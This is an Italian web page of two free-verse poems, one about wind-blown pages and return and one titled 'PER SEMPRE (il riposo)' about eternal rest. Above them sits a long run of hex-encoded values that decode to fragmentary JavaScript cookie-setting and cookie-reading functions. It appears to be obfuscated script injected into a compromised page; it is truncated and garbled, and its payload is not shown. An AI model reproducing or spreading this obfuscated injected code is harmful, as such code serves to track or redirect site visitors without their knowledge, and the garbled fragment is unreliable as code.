b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,="18">

 

 

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Pagine vuote barattai dal vento,
in cambio non volle fronde
floride e giocose
ma d’un rosario
lo scorrere veloce dei grani.

Pregai innanzi al portone di casa
il ritorno del tempo aspettai
di cui non ricordavo più l’odore,
ma in un istante
veleggiai nell'aria più trita:
dal rapido svilirsi delle stagioni,
alle ciliegie che indugiano a maturare,
mentre sentivo alitarmi in fronte
l’impazienza di eccelse brezze.

Da quanto mancavo dalla vita?
Sono qui ora, ho disgiunto la posa.

Tratteggerò contorni
sulle pagine girate dal vento
concedendo al bianco trattenuto
spazi senza limiti di righe,
dei colori farò a meno
il vento l’ha portati con sé.
Li soffierà tra le vostre chiome
fuori dal sottobosco.
 

 

 

 

 

 

 

 

 
PER SEMPRE
(il riposo)
 

E scrosciante la pioggia
investe brughiera e pietre,
asperge tutto ciò
con cui avrei potuto rifocillare
i cinque sensi stremati.

L’oscurità tumefatta
è crepitare d’amore e umore,
porta carraia
su incolmabili recessi.

Svettano le ultime chiose
esalate da un cervello
caduto in disuso
e risalgono per disgrazia
in superficie
come vermi infradiciati.

Andate, unitevi agli altri,
a rivoltare certezze!

Io sarò (per sempre) tre metri
sotto al pelo dell’erba.

 

 

 

 

 

 

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